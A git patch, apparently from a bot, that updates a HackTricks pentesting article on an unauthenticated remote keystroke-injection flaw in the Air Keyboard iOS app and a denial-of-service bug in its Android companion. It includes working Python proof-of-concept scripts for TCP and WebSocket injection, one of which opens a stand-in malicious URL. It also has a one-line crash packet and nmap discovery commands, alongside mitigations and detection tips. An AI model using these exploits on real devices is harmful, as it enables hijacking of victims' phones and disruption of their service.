From b8413f5f9e419a903419b0072f14c860c70823cd Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Mon, 28 Jul 2025 08:31:28 +0000 Subject: [PATCH] Add content from: Research Update: Enhanced src/mobile-pentesting/ios-pentesti... --- .../air-keyboard-remote-input-injection.md | 149 ++++++++++++++---- 1 file changed, 117 insertions(+), 32 deletions(-) diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md index c6f998bae..61b6ae5f6 100644 --- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -1,21 +1,28 @@ -# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener) +# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener) {{#include ../../banners/hacktricks-training.md}} ## TL;DR -The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**. -Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving **full remote interaction hijacking**. +The iOS version of the commercial **“Air Keyboard”** application (App Store ID 6463187929) exposes a local-network service that **accepts keystroke frames without any authentication or origin verification**. Depending on the version installed the service is either: -A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**). +* **≤ 1.0.4** – raw TCP listener on **port 8888** that expects a 2-byte length header followed by a *device-id* and the ASCII payload. +* **≥ 1.0.5 (June 2025)** – **WebSocket** listener on the *same* port (**8888**) that parses **JSON** keys such as `{"type":1,"text":"…"}`. + +Any device on the same Wi-Fi / subnet can therefore **inject arbitrary keyboard input into the victim’s phone, achieving full remote interaction hijacking**. +A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake but crafted garbage still causes an **unhandled exception inside OpenSSL**, crashing the background service (**DoS**). + +> The vulnerability is **still unpatched at the time of writing (July 2025)** and the application remains available in the App Store. + +--- ## 1. Service Discovery Scan the local network and look for the two fixed ports used by the apps: ```bash -# iOS (input-injection) -nmap -p 8888 --open 192.168.1.0/24 +# iOS (unauthenticated input-injection) +nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) nmap -p 55535 --open 192.168.1.0/24 @@ -24,16 +31,19 @@ nmap -p 55535 --open 192.168.1.0/24 On Android handsets you can identify the responsible package locally: ```bash -adb shell netstat -tulpn | grep 55535 # no root required on emulator - +adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN -ls -l /proc//cmdline # map PID → package name +ls -l /proc//cmdline # map PID → package name ``` -## 2. Frame Format (iOS) +On **jailbroken iOS** you can do something similar with `lsof -i -nP | grep LISTEN | grep 8888`. -The binary reveals the following parsing logic inside the `handleInputFrame()` routine: +--- + +## 2. Protocol Details (iOS) + +### 2.1 Legacy (≤ 1.0.4) – custom binary frames ``` [length (2 bytes little-endian)] @@ -41,64 +51,139 @@ The binary reveals the following parsing logic inside the `handleInputFrame()` r [payload ASCII keystrokes] ``` -The declared length includes the `device_id` byte **but not** the two-byte header itself. +The declared *length* includes the `device_id` byte **but not** the two-byte header itself. + +### 2.2 Current (≥ 1.0.5) – JSON over WebSocket + +Version 1.0.5 silently migrated to WebSockets while keeping the port number unchanged. A minimal keystroke looks like: + +```json +{ + "type": 1, // 1 = insert text, 2 = special key + "text": "open -a Calculator\n", + "mode": 0, + "shiftKey": false, + "selectionStart": 0, + "selectionEnd": 0 +} +``` + +No handshake, token or signature is required – the first JSON object already triggers the UI event. + +--- ## 3. Exploitation PoC +### 3.1 Targeting ≤ 1.0.4 (raw TCP) + ```python #!/usr/bin/env python3 -"""Inject arbitrary keystrokes into Air Keyboard for iOS""" +"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys -target_ip = sys.argv[1] # e.g. 192.168.1.50 -keystrokes = b"open -a Calculator\n" # payload visible to the user +target_ip = sys.argv[1] # e.g. 192.168.1.50 +keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) -frame += b"\x01" # device_id = 1 (hard-coded) +frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) -print("Injected", keystrokes) +print("[+] Injected", keystrokes) ``` -Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc. +### 3.2 Targeting ≥ 1.0.5 (WebSocket) + +```python +#!/usr/bin/env python3 +"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" +import json, sys, websocket # `pip install websocket-client` + +target_ip = sys.argv[1] +ws = websocket.create_connection(f"ws://{target_ip}:8888") +ws.send(json.dumps({ + "type": 1, + "text": "https://evil.example\n", + "mode": 0, + "shiftKey": False, + "selectionStart": 0, + "selectionEnd": 0 +})) +ws.close() +print("[+] URL opened on target browser") +``` + +*Any printable ASCII — including line-feeds, tabs and most special keys — can be sent, giving the attacker the same power as physical user input: launching apps, sending IMs, opening malicious URLs, toggling settings, etc.* + +--- ## 4. Android Companion – Denial-of-Service -The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched. +The Android port (55535) expects a **4-character password encrypted with a hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet therefore suffices to keep legitimate users disconnected until the process is relaunched. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` -## 5. Root Cause +--- -1. **No origin / integrity checks** on incoming frames (iOS). +## 5. Related Apps – A Recurring Anti-Pattern + +Air Keyboard is **not an isolated case**. Other mobile “remote keyboard/mouse” utilities have shipped with the very same flaw: + +* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 allow unauthenticated command execution and plain-text key-logging. +* **PC Keyboard ≤ 30** – CVE-2022-45479/80 unauthenticated RCE & traffic snooping. +* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 default-no-password, weak PIN brute-force and clear-text leakage. + +These cases highlight a systemic neglect of **network-facing attack surfaces on mobile apps**. + +--- + +## 6. Root Causes + +1. **No origin / integrity checks** on incoming frames (iOS). 2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android). +3. **User-granted Local-Network entitlement ≠ security** – iOS requests runtime consent for LAN traffic, but it doesn’t substitute proper authentication. -## 6. Mitigations & Hardening Ideas +--- -* Never expose unauthenticated services on a mobile handset. -* Derive per-device secrets during onboarding and verify them before processing input. -* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control. -* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.). -* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks. +## 7. Hardening & Defensive Measures + +Developer recommendations: + +* Bind the listener to **`127.0.0.1`** and tunnel over **mTLS** or **Noise XX** if remote control is needed. +* Derive **per-device secrets during onboarding** (e.g., QR code or Pairing PIN) and enforce *mutual* authentication before processing input. +* Adopt **Apple Network Framework** with *NWListener* + TLS instead of raw sockets. +* Implement **length-prefix sanity checks** and structured exception handling when decrypting or decoding frames. + +Blue-/Red-Team quick wins: + +* **Network hunting:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` or Wireshark filter `tcp.port == 8888`. +* **Runtime inspection:** Frida script hooking `socket()`/`NWConnection` to list unexpected listeners. +* **iOS App Privacy Report (Settings ▸ Privacy & Security ▸ App Privacy Report)** highlights apps that contact LAN addresses – useful for spotting rogue services. +* **Mobile EDRs** can add simple Yara-L rules for the JSON keys `"selectionStart"`, `"selectionEnd"` inside clear-text TCP payloads on port 8888. + +--- ## Detection Cheat-Sheet (Pentesters) ```bash -# Quick one-liner to locate vulnerable devices in a /24 -nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}' +# Locate vulnerable devices in a /24 and print IP + list of open risky ports +nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ + | awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target -adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done" +adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ + echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` +--- + ## References -- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) -- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015) +- [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333) +- [Mobile-Hacker Blog (17 Jul 2025) – Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}} \ No newline at end of file